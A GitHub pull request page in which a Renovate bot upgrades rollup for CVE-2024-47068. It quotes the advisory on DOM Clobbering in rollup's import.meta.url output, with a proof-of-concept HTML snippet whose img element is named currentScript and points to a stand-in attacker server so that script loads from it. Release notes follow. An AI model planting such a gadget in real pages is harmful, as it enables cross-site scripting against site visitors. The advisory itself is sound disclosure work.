Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Update dependency rollup to ~3.29.0 [SECURITY] #531

Merged
merged 1 commit into from
Oct 13, 2024
Merged

Update dependency rollup to ~3.29.0 [SECURITY] #531

merged 1 commit into from
Oct 13, 2024

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Sep 27, 2024 •
edited
Loading

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
rollup (source) ~3.26.3 -> ~3.29.0 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in rollup

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

Release Notes

rollup/rollup (rollup)

v3.29.5

Compare Source

v3.29.4

Compare Source

2023-09-28

Bug Fixes
  • Fix static analysis when an exported function uses callbacks (#​5158)
Pull Requests

v3.29.3

Compare Source

2023-09-24

Bug Fixes
  • Fix a bug where code was wrongly tree-shaken after mutating function parameters (#​5153)
Pull Requests

v3.29.2

Compare Source

2023-09-15

Bug Fixes
  • Export TreeshakingPreset type (#​5131)
Pull Requests

v3.29.1

Compare Source

2023-09-10

Bug Fixes
  • Fix time measurement of plugin hooks in watch mode (#​5114)
  • Ensure accessing document.currentScript in import.meta.url returns correct results (#​5118)
Pull Requests

v3.29.0

Compare Source

2023-09-06

Features
  • Add output.sourcemapFileNames option (#​5105)
  • Add generic type parameter for api to Plugin type (#​5112)
Bug Fixes
  • Ensure mutations of CustomEvent details are tracked (#​5123)
Pull Requests

v3.28.1

Compare Source

2023-08-22

Bug Fixes
  • Ensure external files with relative import paths outside the target are rendered correctly (#​5099)
Pull Requests

v3.28.0

Compare Source

2023-08-09

Features
  • Add a new property preliminaryFileName to generated chunks containing the file name placeholder (#​5086)
  • Improve performance of sourcemap generation by lazily decoding mappings (#​5087)
Bug Fixes
  • Make the code property of rendered modules in the output readonly (#​5091)
Pull Requests

v3.27.2

Compare Source

2023-08-04

Bug Fixes
  • Revert sourcemap performance improvement for now as it causes issues with Vite (#​5075)
Pull Requests

v3.27.1

Compare Source

2023-08-03

Bug Fixes
  • Improve performance when generating sourcemaps (#​5075)
Pull Requests

v3.27.0

Compare Source

2023-07-28

Features
  • Mark Object.values and Object.entries as pure if their argument does not contain getters (#​5072)
Pull Requests

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@stackblitz StackBlitz
Copy link

stackblitz bot commented Sep 27, 2024

Review PR in StackBlitz Codeflow Run & review this pull request in StackBlitz Codeflow.

@changeset-bot changeset-bot
Copy link

changeset-bot bot commented Sep 27, 2024 •
edited
Loading

⚠️ No Changeset found

Latest commit: e316692

Merging this PR will not cause a version bump for any packages. If these changes should not result in a new version, you're good to go. If these changes should result in a version bump, you need to add a changeset.

This PR includes no changesets

When changesets are added to this PR, you'll see the packages that this PR includes changesets for and the associated semver types

Click here to learn what changesets are, and how to add one.

Click here if you're a maintainer who wants to add a changeset to this PR

@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from b0aaf2b to ec6a672 Compare October 13, 2024 23:11
@renovate renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from ec6a672 to e316692 Compare October 13, 2024 23:15
@renovate renovate bot merged commit 950aefe into main Oct 13, 2024
8 checks passed
@renovate renovate bot deleted the renovate/npm-rollup-vulnerability branch October 13, 2024 23:17
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Reviewers
No reviews
Assignees
No one assigned
Labels
dependencies
Projects
None yet
Milestone
No milestone
Development

Successfully merging this pull request may close these issues.
0 participants